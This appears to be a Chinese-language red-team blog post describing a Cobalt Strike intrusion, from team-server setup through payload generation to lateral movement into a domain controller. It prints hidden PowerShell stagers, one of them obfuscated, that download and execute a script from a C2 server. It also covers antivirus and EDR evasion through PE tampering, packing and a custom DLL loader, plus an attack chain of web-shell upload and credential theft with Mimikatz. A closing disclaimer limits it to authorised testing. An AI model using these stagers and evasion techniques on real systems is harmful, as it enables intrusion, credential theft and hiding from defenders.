一、从一次渗透测试说起
几年前,我接到一个渗透测试任务,目标是一家中型互联网公司,拥有自建的内网环境和一堆未公开的业务系统。我们红队的任务是模拟真实攻击,绕过边界防护,最终实现数据窃取。目标公司使用了国际知名的杀软和EDR,防护堪称严密。为了突破防线,我决定用Cobalt Strike这个红队武器。经过几轮测试和迭代,我成功上线了Beacon并横向移动到关键域控服务器。这篇文章会把整个上线的过程详细拆解,特别是绕过杀软和流量监控的技巧,供大家参考。
---
二、武器准备:Cobalt Strike环境搭建与配置
在渗透任务中,Cobalt Strike是红队不可或缺的工具。它的强大不仅体现在易用的用户界面,还包括高度定制化的Payload生成能力和对抗检测的功能。如果要让它发挥最大效果,配置C2服务端是第一步。
Cobalt Strike安装指南
这里假设已经获取合法授权的Cobalt Strike版本,安装配置的过程如下:
- 下载官方提供的Cobalt Strike zip包,解压后将文件置于运行环境中(建议Ubuntu/Debian 服务器)。
- 安装Java Runtime Environment(JRE),Cobalt Strike依赖Java运行:
- 配置团队服务器(Team Server),运行以下命令启动:
<pre><code class="language-bash"> sudo apt update sudo apt install openjdk-11-jre-headless -y `
`bash
默认端口为50050,可以通过参数指定其他端口
./teamserver <外网IP> <授权密钥> `
- 在本地使用客户端连接到Team Server:
`bash java -jar cobaltstrike.jar `
完成后,你会看到Cobalt Strike的主界面,这里主要包括主控菜单、攻击模块和上线的Beacon管理模块。
---
三、Payload构造的艺术:定制上线载荷
上线的关键在于构造Payload,使其能绕过目标环境中的杀软和EDR,同时稳定上线。Cobalt Strike提供多种Payload生成方式,这里着重介绍两种:PowerShell Payload和EXE/DLL Payload。
方法一:PowerShell Payload构造
PowerShell是渗透利器,许多目标环境都会安装它。Cobalt Strike可以生成PowerShell代码,直接在目标环境中执行。生成步骤如下:
- 在Cobalt Strike中,进入
Attacks -> Payload Generator。 - 选择
Windows PowerShell,根据需求设置Listener。 - 点击生成后,将返回一段PowerShell代码。
以下是一个示例生成的Payload:</code></pre>powershell powershell -nop -w hidden -c "[System.Net.WebRequest]::DefaultWebProxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials;IEX(New-Object System.Net.WebClient).DownloadString('http://your-c2-server/payload.ps1')" <pre><code> 这段代码会从C2服务器下载并执行恶意载荷。为了避免被检测,可以做进一步混淆,以下是改进版:</code></pre>powershell powershell -nop -w hidden -c "$a=New-Object Net.WebClient;$a.Proxy=[Net.WebRequest]::GetSystemWebProxy();$a.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX($a.DownloadString('http://your-c2-server/payload.ps1'))" <pre><code>
方法二:EXE/DLL Payload构造
EXE和DLL是一种更直接的上线方式,适用于目标环境中允许运行可执行文件的场景。生成步骤如下:

- 在Cobalt Strike中,进入
Attacks -> Payload Generator。 - 选择
Windows Executable (S)或Windows DLL. - 设置Listener后点击生成,保存文件到本地。

生成的EXE或DLL文件需要进一步进行免杀处理,这部分内容见后续章节。
---
四、绕过检测:免杀与流量伪装技巧
在目标环境上线的最大难题是绕过杀软和EDR。这里总结了几种有效的免杀和伪装策略,供实战中参考。
免杀处理
方法1:修改PE文件属性 通过工具PE-bear或HxD修改生成的EXE/DLL文件的PE头信息,比如随机化编译时间戳、修改导入表。
方法2:加壳工具 使用工具比如UPX进行简单加壳处理:</code></pre>bash upx --best --lzma payload.exe <pre><code>此外,可以使用VmProtect或Themida进行高级加壳。
方法3:编写自定义加载器 使用Python或C++编写加载器,动态加载恶意DLL到内存中执行,避免落地文件被检测。
以下是一个Python加载DLL的示例:</code></pre>python import ctypes
加载DLL到内存
dll_path = "C:\\Users\\Public\\malicious.dll" ctypes.windll.LoadLibrary(dll_path) `
流量伪装
上线流量需要尽可能伪装成正常数据,以绕过网络层的流量监控。Cobalt Strike支持以下伪装技术:
- HTTP流量伪装
配置C2使用HTTP GET/POST请求,模拟正常的Web访问: `bash set header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" set header "Accept-Language: en-US,en;q=0.5" `
- 域前置(Domain Fronting)
使用合法域名作为流量的前置代理,可以隐藏真实C2服务器地址。
---
五、实战上线:完整攻击链复盘
以下是复盘我之前的一次成功上线过程,展示完整攻击链:
- 信息收集
利用公开源调查目标公司的外网资产,发现一台对外暴露的开发测试服务器。

- 漏洞利用
测试服务器存在未授权的文件上传功能,我上传了一个带有恶意Web Shell的PHP文件。
- Payload投递
通过Web Shell执行PowerShell命令,投递Cobalt Strike生成的PowerShell Payload。
- 上线成功
Beacon成功上线到C2服务器,我在Cobalt Strike中观察到目标机器的信息。
- 横向移动
利用Mimikatz抓取目标服务器的认证凭据,并在内网中横向渗透到目标域控。
---
六、个人经验谈:如何在实战中优化上线
- 多Payload备选:每次渗透任务,都准备至少两种以上的Payload类型,在目标环境中灵活选择。
- 环境模拟测试:提前搭建类似目标的环境,测试Payload的免杀效果。
- 细节决定成败:比如流量伪装时,模拟真实的浏览器User-Agent,语言设置等细节。
---
合法声明:本文仅面向授权的安全测试和研究,任何未经许可的攻击行为均属违法,切勿用于非法用途!